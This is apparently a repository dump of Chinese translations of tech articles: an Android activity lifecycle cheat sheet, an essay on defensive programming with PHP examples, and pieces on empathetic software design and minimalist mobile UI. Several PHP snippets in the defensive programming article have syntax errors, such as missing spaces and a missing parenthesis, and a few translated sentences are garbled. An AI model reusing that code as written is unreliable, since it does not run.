本身，甚至是在默默运行的进程。组件有生命周期，生命周期会在多种状态中变换。当状态发生变化时，系统会通过一个生命周期回调方法通知你。\n\n为了更好解释生命周期是怎么运作的，我们定义了根据现有组件进行分类的一系列用户场景。\n\n**第一部分： Activities** — 单一 activity 的生命周期 (就是本文)\n\n[**第二部分： 多个 activities** — 跳转和返回栈（back stack)](https://medium.com/@JoseAlcerreca/the-android-lifecycle-cheat-sheet-part-ii-multiple-activities-a411fd139f24)\n\n[**第三部分： Fragments** — activity 和 fragment 的生命周期](https://medium.com/@JoseAlcerreca/the-android-lifecycle-cheat-sheet-part-iii-fragments-afc87d4f37fd)\n\n它们的图表也提供了 [PDF格式备忘录](https://github.com/JoseAlcerreca/android-lifecycles)，以方便查阅。\n\n* * *\n\n除非特别说明，接下来的这些场景展示了这些组件的默认行为。\n\n**如果你发现有错误或者遗漏了什么重要的东西，请在下方评论。**\n\n### **第一部分: Activities**\n\n#### 单一 Activity — 场景 1：应用被结束并且重启\n\n触发原因：\n\n* 用户按下了 **返回键**，或者是\n* `Activity.finish()` 方法被调用\n\n这个最简单的场景说明了一个单一 activity 的应用被用户开启，结束，和重启时发生了什么：\n\n![](https://cdn-images-1.medium.com/max/800/1*U_j3OP74jrPFoNvO2i7XzQ.png)\n\n>**场景 1：应用被终止并且重启**\n\n**状态处理**\n\n* [onSaveInstanceState](https://developer.android.com/reference/android/app/Activity.html#onSaveInstanceState%28android.os.Bundle%29) 不会被调用 (因为 activity 被结束了，你不需要保存状态)\n* [onCreate](https://developer.android.com/reference/android/app/Activity.html#onCreate%28android.os.Bundle%29) 没有 Bundle 对象，如果重新打开应用的话。因为先前的 activity 结束了，也不需要恢复状态。\n\n* * *\n\n#### **单一 Activity — 场景 2：用户切换出去**\n\n触发原因：\n\n* 用户按了 Home 键\n* 用户切换到另一个应用（点击虚拟按键（Overview menu），点击一个通知，接听来电，等等）\n\n![](https://cdn-images-1.medium.com/max/800/1*w3Hkt3deEkHSDWQD-I03cA.png)\n\n>**场景 2：用户切换出去**\n\n在这个场景中系统会 [stop](https://developer.android.com/guide/components/activities/activity-lifecycle.html#onstop) 这个 activity，但不会马上结束它。\n\n**状态处理**\n\n当你的 activity 进入 Stopped 状态，**系统会使用 onSaveInstanceState 去保存应用的状态以防系统一段时间后终止这个应用的进程** (请看下面)**。**\n\n假设应用的进程没有被终止，这个应用的实例会常驻在内存，保存所有状态。当这个 activity 回到前台工作时，它会恢复这些状态。你不需要重新初始化这些之前已生成的组件。\n\n* * *\n\n#### **单一 Activity — 场景 3：配置发生变化**\n\n触发原因：\n\n* 配置发生变化，例如屏幕旋转\n* 在多窗口模式下，用户调整窗口大小\n\n![](https://cdn-images-1.medium.com/max/800/1*sw4ePskeHsYPs1LrHh2Pcg.png)\n\n> 场景 3：屏幕旋转或其他配置变化\n\n**状态处理**\n\n像屏幕旋转或窗口大小改变，这种配置变化应该能够让用户在变化后继续无缝使用。\n\n* activity 会被完全 destroy，但是 **activity 的状态会被保存下来并在下一个实例中恢复**。\n* 在`onCreate` 和 `onRestoreInstanceState` 中的 Bundle 对象是相同的。\n\n* * *\n\n#### **单一 Activity — 场景 4：应用被系统暂停**\n\n触发原因：\n\n* 开启多窗口模式 （API 24+）并且应用失去焦点\n* 另一个应用部分地覆盖在正在运行的应用上面（例如一个购买对话框，一个运行时权限确认对话框，一个第三方登陆对话框...）\n* 调用意图选择器，例如调用了分享对话框\n\n![](https://cdn-images-1.medium.com/max/800/1*j3blnCW082yMbQe5fkjMMg.png)\n\n>**场景 4：应用被系统暂停**\n\n这个场景不适用于以下情况：\n\n* 对话框属于同一个应用。弹出一个警告对话框或者一个 DialogFragment 并不会暂停（执行 onPause 方法）被遮挡住的 activity。\n* 通知。用户收到一个新通知或者拉下通知栏不会暂停被遮挡住的 activity。\n\n### 延伸阅读\n\n* [Android 生命周期备忘录 第二部分 — 多个 activities](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-2.md)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/the-art-of-defensive-programming.md",
    "content": "> * 原文地址：[The Art of Defensive Programming](https://dev.to/0x13a/the-art-of-defensive-programming)\n* 原文作者：[Diego Mariani](https://dev.to/0x13a)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[GiggleAll](https://github.com/GiggleAll)\n* 校对者：[tanglie1993](https://github.com/tanglie1993) , [fghpdf](https://github.com/fghpdf)\n\n# 防守式编程的艺术 #\n\n为什么开发人员不编写安全代码？ 我们不再在这里讨论 “**干净的代码**” 。我们从一个纯粹的角度，软件的安全性来讨论更多的东西。是的，因为一个不安全的软件几乎是没用的。让我们来看看不安全的软件意味着什么。\n\n- **欧洲航天局的 Ariane 5 Flight 501** 在起飞后 40 秒（1996年6月4日）被毁。**10 亿美元的**原型火箭**由于机载导航软件中的错误**而自毁。 \n\n- 在 20 世纪 80 年代，一个治疗机中控制 Therac-25 辐射的代码错误，导致其施用过量的 X 射线致使至少五名患者死亡。\n\n- MIM-104 爱国者的软件错误导致其系统时钟在 100 小时时段内偏移三分之一秒，以至于无法定位和拦截来袭导弹。伊拉克导弹袭击了沙特阿拉伯在达哈兰的一个军事大院（ 1991 年 2 月 25 日 ），杀害了 28 名美国人。\n\n这些例子足以让我们认识到编写安全的软件，特别是在某些情况下是多么重要。在其他使用情况下，我们也应该知道我们软件错误会带给我们什么。\n\n### 防守式编程角度一 ###\n\n为什么我认为防守式编程在某些项目中是一个发现这些问题的好方法？\n\n> 防御不可能，因为不可能将可能发生。\n\n对于防御性编程有很多定义，它还取决于**安全性**的级别和您的软件项目所需的资源级别。\n\n**防守式编程**是一种[防守式设计](https://en.wikipedia.org/wiki/Defensive_design)，旨在确保在意外的情况下[软件](https://en.wikipedia.org/wiki/Software)的持续性功能,防守式编程实践常被用在高可用性，需要安全的地方 — [维基百科](https://en.wikipedia.org/wiki/Defensive_programming)\n\n我个人认为这种方法适合当你处理一个大的、长期的、有许多人参与的项目。 例如，需要大量维护的开源项目。\n\n为了实现防守式编程方法，让我谈谈我个人简陋的观点。\n\n\n### 从不相信用户输入 ###\n\n假设你总是会收到你意料之外的东西。这应该是你作为防守式程序员的方法，针对用户输入，或者平常进入你的系统的各种东西。因为我们可以预料到意想不到的，尽量做到尽可能严格。[断言](https://en.wikipedia.org/wiki/Assertion_(software_development))你的输入值是你期望的。\n\n![The best defense is a good offense](https://res.cloudinary.com/practicaldev/image/fetch/s--Pic7qAkP--/c_limit,f_auto,fl_progressive,q_auto,w_725/https://medium2.global.ssl.fastly.net/max/2000/1%2AwJBEFQ8XcNR7RzlMnTF_fw.png) \n\n**进攻就是最好的防守**\n\n（将输入）列入白名单而不是把它放到黑名单中，例如，当验证图像扩展名时，不检查无效的类型，而是检查有效的类型，排除所有其余的类型。 在 PHP 中，也有无数的开源验证库来使你的工作更容易。\n\n**进攻就是最好的防守**，控制要严格。\n\n### 使用数据抽象 ###\n\n **[OWASP 十大安全漏洞](https://www.veracode.com/directory/owasp-top-10)** 中的第一个是注入。这意味着有人（很多人）还没有使用安全工具来查询他们的数据库。请使用数据库抽象包和库。在 PHP 中你可以使用 [PDO](http://php.net/manual/en/book.pdo.php) 来[确保基本的注入保护](http://stackoverflow.com/questions/134099/are-pdo-prepared-statements-sufficient-to-prevent-sql-injection)。\n\n### 不要重复造轮子 ###\n\n你不用框架（或微框架）？ 你就是喜欢没有理由的做额外的工作。恭喜你！只要是经过良好测试、广受信任的稳定的代码，你就可以尽管用于各种新特性（不仅是框架）的开发，而不是只因为它是已经造好的轮子的缘故而重新造轮子。你自己造轮子的唯一原因是你需要一些不存在或存在但不适合你的需求（性能不佳，缺少的功能等）。\n\n那个（使用框架）我们称它为**智能代码重用**，它值得拥有。\n\n### 不要信任开发人员 ###\n\n防守式编程可以与称为**[防御性驾驶](https://en.wikipedia.org/wiki/Defensive_driving)**的东西相关。在防御驾驶中，我们假设我们周围的每个人都有可能犯错误。 所以我们必须小心别人的行为。这些同样适用于**我们的防守式编程，作为开发者，我们不应该相信其他开发者**。我们也同样不应该信任我们的代码。\n\n在许多人参与的大项目中，我们可以有许多不同的方式来编写和组织代码。 这也可能导致混乱，甚至更多的错误。 这就是为什么我们统一编码风格和使用代码检测器会使我们的生活更加轻松。\n\n### 写SOLID代码 ###\n\n这是对一个防守式程序员困难的地方，**[writing code that doesn’t suck](https://medium.com/web-engineering-vox/how-to-write-solid-code-that-doesnt-suck-2a3416623d48)**。这是许多人知道和谈论的事情，但没有人真正关心或投入正确的注意力和努力来实现 **SOLID代码**。\n\n让我们来看一些不好的例子。\n\n\n> ### 不要：未初始化的属性 ###\n\n```\n\n<?php\n\nclass BankAccount\n{\n\tprotected $currency = null;\n\tpublic function setCurrency($currency) { ... }\n\tpublic function payTo(Account $to,$amount)\n\t{ \n\t\t// sorry for this silly example\n\t\t$this->transaction->process($to,$amount,$this->currency);\n\t}\n}\n\n// I forgot to call $bankAccount->setCurrency('GBP');\n$bankAccount->payTo($joe,100);\n\n```\n\n在这种情况下，我们必须记住，为了发出付款，我们需要先调用 _setCurrency_ 。 这是一个非常糟糕的事情，像这样的状态更改操作（发出付款）不应该在两个步骤使用两个（或多个）公共方法。 我们仍然可以有很多方法来付款，但是我们必须只有一个简单的公共方法，以改变状态（对象应该永远不会处于不一致的状态）。\n\n在这种情况下，我们可以做得更好，将未初始化的属性封装到 **Money** 对象中。\n\n```\n\n<?php\n\nclass BankAccount\n{\n\tpublic function payTo(Account$to,Money$money){ ... }\n}\n\n$bankAccount->payTo($joe,newMoney(100,newCurrency('GBP')));\n```\n\n使它万无一失。 **不要使用未初始化的对象属性**。\n\n> ### Don’t: Leaking state outside class scope. ###\n\n> ### 不要：类作用域之外的暴露状态。\n\n```\n\n<?php\n\nclass Message\n{\n\tprotected $content;\n\tpublic function setContent($content)\n\t{\n\t\t$this->content=$content;\n\t}\n}\n\nclass Mailer\n{\n\tprotected $message;\n\tpublic function__construct(Message$message)\n\t{\n\t\t$this->message=$message;\n\t}\n\tpublic function sendMessage(\n\t{\n\t\tvar_dump($this->message);\n    }\n}\n\n$message = new Message();\n$message->setContent(\"bob message\");\n$joeMailer = new Mailer($message);\n\n$message->setContent(\"joe message\");\n$bobMailer = new Mailer($message);\n\n$joeMailer->sendMessage();\n$bobMailer->sendMessage();\n```\n\n在这种情况下，**消息**通过引用传递，结果将在两种情况下都是 *“joe message”* 。 解决方案是在 Mailer 构造函数中克隆消息对象。 但是我们应该总是尝试使用一个（**不可变的**）[值对象](https://en.wikipedia.org/wiki/Value_object)去替代一个简单的 _Message_ mutable对象。**当你可以的时候使用不可变对象**。\n\n```\n\n<?php\n\nclass Message\n{\n    protected $content;\n    public function __construct($content)\n    {\n        $this->content = $content;\n    }\n}\n\nclass Mailer \n{\n    protected $message;\n    public function __construct(Message $message)\n    {\n        $this->message = $message;\n    }\n    public function sendMessage()\n    {\n        var_dump($this->message);\n    }\n}\n\n$joeMailer = new Mailer(new Message(\"bob message\"));\n$bobMailer = new Mailer(new Message(\"joe message\"));\n\n$joeMailer->sendMessage();\n$bobMailer->sendMessage();\n\n```\n\n\n### 写测试 ###\n\n我们还需要说些什么？ 写单元测试将帮助您遵守共同的原则，如**高聚合，单一责任，低耦合和正确的对象组合**。 它不仅帮助你测试小单元，而且也能测试你的对象的结构的方式。 事实上，你会清楚地看到，为了测试你的小功能需要测试多少个单元和你需要模拟多少个对象，以实现100％的代码覆盖率。\n\n### 总结 ###\n\n希望你喜欢这篇文章。 记住这些只是建议，何时、何地采纳这些建议，这取决于你。\n"
  },
  {
    "path": "TODO/the-art-of-designing-with-heart.md",
    "content": "> * 原文地址：[The Art of Designing With Heart](https://m.signalvnoise.com/the-art-of-designing-with-heart-f5dc4df21697?swoff=true#.bwkktzgf7)\n* 原文作者：[Jonas Downey](https://m.signalvnoise.com/@jonasdowney)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[llp0574](https://github.com/llp0574)\n* 校对者：[Graning](https://github.com/Graning),[cyseria](https://github.com/cyseria)\n\n# 用心设计的艺术\n\n我喜爱软件开发的其中一个原因在于，它是一种深入的脑力锻炼，充满着令人兴奋的过程、各种抽象思想以及错综复杂的关联关系。\n\n你可以用诸如 IT 研究、策略、原型、编程、UI、运营等更多这些实际性的具体细节来丰富自己。\n\n如果这些都还不够呢？那就让自己尽情追求各项指标和性能吧。每一个最后的细节都可以被测试、量化以及优化，从而达到最完整的状态。努力提高各项 KPI（业务关键指标）并紧盯你的 ROI（投资回报率）吧！\n\n问题在于：有这么多事情去考虑，以及这么多逻辑去操心，那么就很容易忘记你开发软件的初心：\n\n### 🚨️ 你的软件的存在是为了帮助人们！🚨\n\n设计师们通常把这个概念称为**用户体验**或者**用户心理**。我认为这些称谓很糟糕，它们都过于套话和含糊，在不同的环境下可以有着不同的意思。\n\n但我认为它真正是什么我们就应该称作什么：**用心设计**。\n\n这并不是某个在你的公司里一个特定小组的职责，或者在一个过程当中你可以检查的某一步骤，它是一个会告诉你做每一个决策的核心价值。\n\n\n* * *\n\n下面将说明它在实践中意味着什么。\n\n在所有的策略、指标和技术的另外一端面临的是**真实的人**，这些人生存、呼吸，忙于处理他们各自稀奇古怪的生活琐事，和他们的小孩争论，试图弄清晚饭要吃什么。\n\n当开发软件的时候，不免你会站在自己的角度发明一种机器，假设用户的感受，并以自己为代表用户模拟人机交互好让它们能有意义地实现某些功能。\n\n你的软件不仅仅只是杂糅在一起的一堆代码和 UI。它还是你的最佳想法、最佳意图、帮助他人的渴望、你的爱、感受和灵魂的一个编译结果。\n\n你的软件就是你自己。\n\n（如果你相信它的艺术，那它就是，并且如果你做的是对的话那就更应该是了。）\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n当你从这个角度看待软件的时候，就将注意到大量的软件其实是无聊且缺乏生命力的。\n\n仔细想想你经常登录的银行网站，或者你的保险公司的账单系统，它们大概都是冰冷且没有生命力的。那是因为这些设计师都把他们的工作当作了一种机械操作：接受一组需求、创造想象的人物、写用户故事以及在需求到来前混混他们的工作。这些都是机械的工作，没有用心。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/609b0b4489cc00c13ed7.png \"Capital One 的登录页面\")\n\n\n\n\n\n\n\n\n现在，你可能会认为对于一个银行网站来说，看起来简单朴素且属于交易型并没什么问题。毕竟，银行业不夸张地说就是**一组组交易的集合**。\n\n但相比起你可能曾经遇到过很体贴的银行柜员带来的体验（如果你仍然记得那是怎么样的一种体验），柜员对你微笑，询问你今天过得怎么样，仔细检查你的账目是正确的，为你可能忘记的事情提供帮助以及送你一根棒棒糖！🍭\n\n这就是用了一点心思的交易过程。\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n好了，接下来讲一下我们的软件如何来替代银行柜员。这意味着软件在理想情况下，应该提供同样的人性化和真正有帮助的服务。但怎么做呢？\n\n选项之一是将对外接口拟人化并为软件赋予一些[个性](http://alistapart.com/article/personality-in-design)，这么做就可以让 UI 变得有趣、友好、智能、带有批判性或者卡通化。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/dbff6848bb76ed648c8a.png \"Poncho生动的天气猫给你发送 “Zzz Zzzzzzz” 和 “Purrrrrrrrrrrrr.” 的信息\")\n\n\n\n\n\n\n\n\n我认为这只是其中一小部分，因为人们对胡说八道的忍耐力很低。除非你能**真正**起到好的作用，否则好玩和有趣的东西将会很快变得让人恼火不已，甚至比机械化还要糟糕，因为它很浪费时间，开门见山往往会更好。\n\n\n所以如果机械化不好，做的个性化也不好，那么什么是好的呢？\n\n最佳选择则是两者适中。好的软件是友好、随性以及容易上手的，但同时也是严格、亲切以及有礼貌的。就像你曾经在本地交易中体验过的一次舒适的真实生活经验。\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n要实现这样听起来很困难（确实也是），但有一个简单的技巧可以帮上很多忙。\n\n**当你设计某样东西的时候，想象你坐在一个房间里，正手把手地帮助真实的人解决问题。**你将会对他们说些什么？你会怎么解释这个页面或特性？你会给出什么建议？你将告诉他们什么去进行下一步操作？\n\n大声说出这些答案来，然后写下你所说的。现在你就已经完成80%了！\n\n如果你正在亲自帮助某人，你肯定不会很严格或者拘谨，不会使用流行语、术语或一些商业辞令，你也不会向他们丢什么开玩笑的炸弹或者用旁边的高飞（迪士尼角色）来让他们分心。你肯定会观察他们在做什么，看看他们哪里遇到了困难，并帮助他们解决。**你将用心和他们交流。**\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n这个常识性的技巧可以让你不会只见树木不见森林。如果你费尽心思解释某样事情，那么可能往往还解释得不清楚。这个观点会让你问出类似下面的这些问题：\n\n*   我们可以让这个接口变得更简单或者更直接吗？\n*   我们可以减少或者去掉这些用户必要的选择吗？\n*   我们有没有用自然、随性的语言来充分解释这些操作？\n*   这个设计有没有充分利用用户的时间和注意力？\n*   这是一个我个人来说会很享受使用过程的东西吗？\n*   我们有没有采取一些捷径让我们而不是他们受益？\n*   我们有没有作出一些不正确的假设？\n\n现在你的设计完成后肯定更加清楚和友好。这就会让你的消费者更加开心并且更高效率，那么他们就可以停止摆弄软件，然后回去和他们那好争论的小孩继续吃晚饭了。\n\n**这应该成为你工作的潜在动力。**不是技术，不是样式，不是数据，也不是金钱。帮助人们是首要的，其他的都是次要的。\n\n\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n**用心设计**不仅仅只是创造一个产品。它同样可以指导你去营销、做广告以及销售。\n\n比如说，你想要为你的产品增加付费用户。（谁不想？）这是一个商业为先的问题，不是一个用户为先的问题。\n\n如果你仅仅考虑商业为先，你可能会发出一大堆促销邮件，或者在页面上到处展示 “BUY NOW” 入口，或者用弹窗广告去打断他们的关键工作流。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/ca97682bbc36bfdccc4f.png \"Wall Street Journal 甚至在你进入页面之前就弹窗询问你是否购买\")\n\n\n\n\n\n\n\n\n这些技巧或许对增加业务指标有所帮助，但它们对消费者来说却是恼人和讨厌的。这并不是我们想要的结果。那我们怎么来解决两者之间的冲突呢？\n\n简单：再次考虑用户！\n\n清楚地传达产品的价格、让其变得更容易购买、给新用户传播你的信息甚至寻求推荐或点评，这些本来就不是一件坏事情 --- 只要你这么做的方式考虑周全、诚实并且在对的时间去做，就没问题了。\n\n不要在用户处理事情的中途去打断他们，不间断地去骚扰他们，或者强行去推销你想的主意。如果想要得到青睐，那么就该考虑清楚去解释为什么你需要他们的帮助，从而让他们的时间变得有价值，同时或许应该在交易过程中提出激励。\n\n遵循这些方法，你的推销将会是一个双赢的结果。\n\n\n\n\n\n\n\n\n\n* * *\n\n\n\n\n\n\n\n还有一件事情可以让你做到用心设计：**不要害怕去展现自己。**\n\n人们会和其他非人类机器建立起情绪化的连接。\n\n当你的消费者可以看到是谁在背后和其交流，并且当你诚实可靠地和他们交流时，他们就将更加可能确认你的信息和入口。\n\n\n\n\n\n![](http://ac-Myg6wSTV.clouddn.com/5231e87d2a52db32e720.png \"Nate Kontny’s Highrise更新总会有一个人性化提示。\")\n\n\n\n\n\n\n\n\n如果你创造某个东西是因为你从根本上在意如何帮助用户，并且想要留住他们，那么就更应该说出来了！把你的名字放上去、讲述你的故事、展示你的形象并站出来为你的工作负责。分享你**真实的**个性肯定比捏造一个虚假的形象放在一个死气沉沉的应用上要好得多。\n\n\n你的消费者将会以同样的方式作出回应，并且这就是所有回报里最有价值的东西。💞\n\n\n* * *\n\n"
  },
  {
    "path": "TODO/the-art-of-minimalism-in-mobile-app-ui-design.md",
    "content": "> * 原文链接: [The Art of Minimalism in Mobile App UI Design](http://babich.biz/the-art-of-minimalism-in-mobile-app-ui-design/)\n* 原文作者 : [Nick Babich](http://babich.biz/about/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [edvardhua](https://github.com/edvardHua)\n* 校对者 : [owenlyn](https://github.com/owenlyn), [jiaowoyongqi](https://github.com/jiaowoyongqi), [Graning](https://github.com/Graning)\n\n# 移动开发中的极简设计\n\n设计是一件用户驱动很强的工作。随着用户越来越偏好更简洁的交互界面，如何剔除多余的元素，保留最基础最重要的元素是极简设计的关键。极简设计形式和功能完美结合。它最大的优点是极简的表现形式，简洁的线条，大方的留白，简约的图形化元素，就算是很复杂的内容，在这样的设计下也会显得很简洁和干练。当然，如果能有效的利用这些元素。\n\n极简设计必须要 _简洁明了和一致的可用性_ 。你的交互系统应该通过 _清晰的视觉传达（clear visual communication）_ 来解决用户的问题。这也是为什么具备简洁设计和高可用性的应用如此让人深刻。即便只是一个通过极简设计的导航，都能够提供很强的交互方式。要做到这一点，你需要注意以下几个方面。\n\n## 简单的配色方案\n\n简单的配色方案能够提高用户体验，相应的 _太多的色彩则会给用户负面的影响_。针对于初学者，有一些预先定义的标准颜色方案能够让你轻松创建新的颜色方案。\n\n*   **单配色方案。** 单配色方案由特定色彩的不同的色调，阴影或颜色深浅所构成。他们的原理是通过修改特定颜色的饱和度和亮度，可以生成多种协调的颜色，这种颜色方案比较简洁和优雅，不会给眼睛产生太大负担。\n\n![](http://babich.biz/content/images/2016/07/1--rbrbh20EHL_Ue_IDxl_0A.jpeg)\n\n蓝色的单配色方案。素材来源: Smashing Magazine\n\n![](http://babich.biz/content/images/2016/07/0-w_FvxwQG_6Px2vGE.jpg)\n\n素材来源: [Dribbble](https://dribbble.com/shots/1054717-Hack-Day-App-Preview)\n\n*   **近似色彩配色方案** [近似色彩配色方案](http://babich.biz/a-guide-to-color-and-conversion-rates/) 的思路是从色轮上取三个相邻的颜色来做为配色。全手势操作的应用 _Clear_ 使用了近似色彩配色方案，它使用不同颜色来区分任务的优先级或者高亮关键的任务。（顶端的任务使用最鲜艳的颜色，而底部的任务则使用明亮精致的颜色）\n\n![](http://babich.biz/content/images/2016/07/0-GmWqCn_trRfbguAX-1.jpg)\n\n渐变的黄色和橙色也是近似色彩配色方案的一个例子。素材来源: tuts+\n\n![](http://babich.biz/content/images/2016/07/1-Y03ERRYZ_gHCw7cEnLmr2w.png)\n\nIOS 平台的 Clear 应用\n\n## 模糊效果\n\n模糊效果出现在极简UI设计中是一件非常符合逻辑的事情，它能够增加 UI 的层次感。如果你的 UI 拥有多个层级，使用模糊效果能够让用户清晰的了解到 UI 的前后层级的关系。这也给了设计师一个完美的机会来设计多样化的菜单和层级效果。\n\n[雅虎天气](https://itunes.apple.com/us/app/yahoo!-weather/id628677149?mt=8) 显示了一张当前位置的风景图片，如果需要查看天气的详细信息，你只需要向上滑动便会马上显示出来。与在原先的页面上叠加一层相比，这种方式在增加了详细信息的易于获取的情况下还保存了上一张图片作为模糊背景后，帮助用户在操作之后有更为直观的反馈。而且交互方式极为自然，你可以很方便的就返回到上一层。\n\n![](http://babich.biz/content/images/2016/07/1-v6JG6G4UCwdS7XbXp0pZXA.jpeg)\n\nIOS 上的雅虎天气\n\n## 一个应用中只使用一种字体\n\n在一个应用中使用多种字体会看起来很散乱和马虎。减少屏幕上字体的类型数量可以增强排版的效果。当你在设计应用的时候你可以通过更改字体的字重，样式，尺寸和大小来优化布局效果，而不是更换字体。\n\n![](http://babich.biz/content/images/2016/07/1-PuctKONH65PUaGAgj_IDPQ.png)\n\n通常来说，一个应用中只使用一种字体 素材来源: Apple\n\n当你在为APP选择字体的时候，选择平台的默认字体可能是最安全稳妥的选择：\n\n*  苹果使用 _San Francisco family_ 字体来提供全平台一致的阅读体验。（在 IOS 9 中简称为 SF-UI）\n*   _[Roboto](https://www.google.com/fonts/specimen/Roboto)_ 和 _Noto_ 分别是 _Android_ 和 _Chrome_ 的默认字体\n\n ![](http://babich.biz/content/images/2016/07/1-h9TgxM4LubkjVDIhEG5U4g.png)\n\n\n减少屏幕上使用的字体类型能够获得较好的排版效果。素材来源: Dribbble\n\n## 数据的视觉焦点\n\n你应该使用大号字体和醒目的颜色来让特定的数据成为视觉的焦点。使用中性的颜色（黑白灰）来展示普通的内容，而一些具备操作的部分则使用强对比的颜色来吸引用户注意，从而给给予用户正确的指导和操作。\n\n![](http://babich.biz/content/images/2016/07/0-pgeX-afdEGctxooq.jpg)\n\n素材来源: Smashing Magazine\n\n明亮的色调+中性的色调是最容易搭配的方案，同时也是视觉上最引人注意的方案之一。素材来源: Smashing Magazine\n\n被放大的字体和显眼的色彩能够很好的吸引用户的注意力，而不需要多余的文字提示。与此同时还提供了简洁易用的信息收集体验。\n\n![](http://babich.biz/content/images/2016/07/1-3DfrZ4Lr5o0Z1GGUSBKMPA.gif)\n\n在屏幕特定的区域使用放大的字体和弹出的颜色能有效吸引用户注意力。\n素材来源: [Dribbble](https://dribbble.com/shots/2278322-Adding-a-new-goal-animation)\n\n## 使用留白代替线条来区分元素\n\n设计师通常使用线条和分割线来给屏幕划分区域和功能类别，但是增加太多这些元素会 UI 界面过于臃肿。 \n\n_更少的线条和分割线_能够让我们的页面看起来更加的干净，现代化和功能突出。我们可以使用间距，留白和色块来区分不同的元素。谷歌日历就是一个很好的例子，它使用[投影](http://babich.biz/graphical-user-interface-as-a-reflection-of-the-real-world-shadows-and-elevation/)将两个内容不同的区块清晰地拉开层次，而不是用线段来简单地分割。\n\n间隔不仅提供了清晰的视觉也增加了日历应用的易用性。\n\n## 图标：线条和填充\n\n我们使用图标用来表达某种功能或者内容，图标作为一种视觉语言，它应该是简约易于识别和理解的。IOS 7 后许多极简设计的 UI 都使用线条或者填充的图标。来看看同一个图标分别使用线条和填充的效果。\n\n![](http://babich.biz/content/images/2016/07/1-q4lDSWO0aKUux47R-85CWA.jpeg)\n\n时钟图标 素材来源: [icons8](https://icons8.com)\n\n我们来看看底部菜单栏的图标。该图标在应用中通常是作为导航的存在，所以指示当前用户所在区域是很重要的，我们通常使用_高亮_图标来表示当前用户所选中的区域。这个时候，灰色的线性图标表示为未选中的状态。这样一来我们的底部菜单栏就很直观了。\n\n![](http://babich.biz/content/images/2016/07/1-RfRHuM_4PB6BY7tDLSjGIQ.png)\n\n苹果商店的底部导航 素材来源: viget\n\n## 总结\n\n简约的 UI 和设计技术是完成优秀设计的关键，但是极简设计的本身不是设计的目的。我们最终的目标是要简约 UI 的同时需要保证功能的完整性和高可用性。简单的流程，清晰的视觉传达和与设计的结合来打造无缝的交互体验才是最重要的。\n"
  },
  {
    "path": "TODO/the-basics-of-designing-mobile-apps.md",
    "content": ">* 原文链接 : [The Basics of Designing Mobile Apps](http://www.designyourway.net/blog/inspiration/the-basics-of-designing-mobile-apps/)\n* 原文作者 : [Bogdan Sandu]\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [shenxn](https://github.com/shenxn)\n* 校对者: [markzhai](https://github.com/markzhai)，[ZhaofengWu](https://github.com/ZhaofengWu)\n\n# 设计一款移动应用前你应该知道这些事情\n\n我们有一些好消息也有一些坏消息，也可能在你眼中这些都是好消息。好消息是，你终于拥有了所有用于构建你自己应用的工具！\n\n构建应用的技术和工具都在变得更容易获得和使用。坏消息是，你不是唯一知道这个事实的人。全世界的人都在着手于构建他们的第一个应用。但是不用担心，还有更多的好消息：在这篇文章中，你可以了解到构建一个完美应用的所有知识。\n\n当今的移动应用产业比以往的任何时候都更发达。所有的业务，从体育用品经销商到食品杂货店都在试图设计一个移动应用。试想哪个消费者会不希望将他们最喜欢的球队或是他们的购物清单放在口袋里呢？\n\n![线框图](https://dn-shenxn.qbox.me/1207907.jpg)  \n[图片来源](https://dribbble.com/shots/1207907-Wireframes)\n\n在设计移动应用的时候，你需要对产品的外观、体验、以及应用和用户之间的关系负责。只要你知道这一点，可能性将会是无穷的。然而，有这么多成功的机会，也会有很大犯错的可能。\n\n我们来了解一些设计应用时非常重要的事，从如何做研究到如何与开发团队合作。\n\n### 第一，做研究\n\n在我们开始讨论研究部分前，先回顾一下你之前所做的。恭喜你！你将要踏上一个非常有趣、有一点困难并且非常值得的旅程。\n\n有句格言说：写你所知道的。这对于应用设计来说同样适用。如果你想要做一个应用的设计师，你应该先成为一个应用的用户。作为一个用户，你会开始了解你喜欢应用的哪些部分，又不喜欢哪些部分。比如哪些字体看起来最棒，或者哪些布局最易于使用。\n\n你应该知道，移动应用与网站或者在线应用有很大的不同。你现在欧美很好是一个活跃的应用用户，也是一个重度依赖的智能手机拥有者。你知道移动应用是有重心的、具有特殊性的，并且是独立的、封闭的。在你设计你自己的应用时也要牢记这些。\n\n另一件需要记住的是，移动应用是一个全新的产业！同时，智能手机，作为移动应用的平台，也是全新的。保持在世界智能手机创新的顶峰能让你在设计领域不断向前，也让你的应用成为最新、最闪耀的应用。\n\n此外，阅读官方的设计指南不是一个坏主意，像是 [iOS 用户界面指南 - iOS Human Interface Guidelines](https://developer.apple.com/library/iOS/documentation/userexperience/conceptual/mobilehig/) 或是 [Android 用户界面指南 - Android User Interface Guidelines](https://developer.android.com/design/index.html)。\n\n### 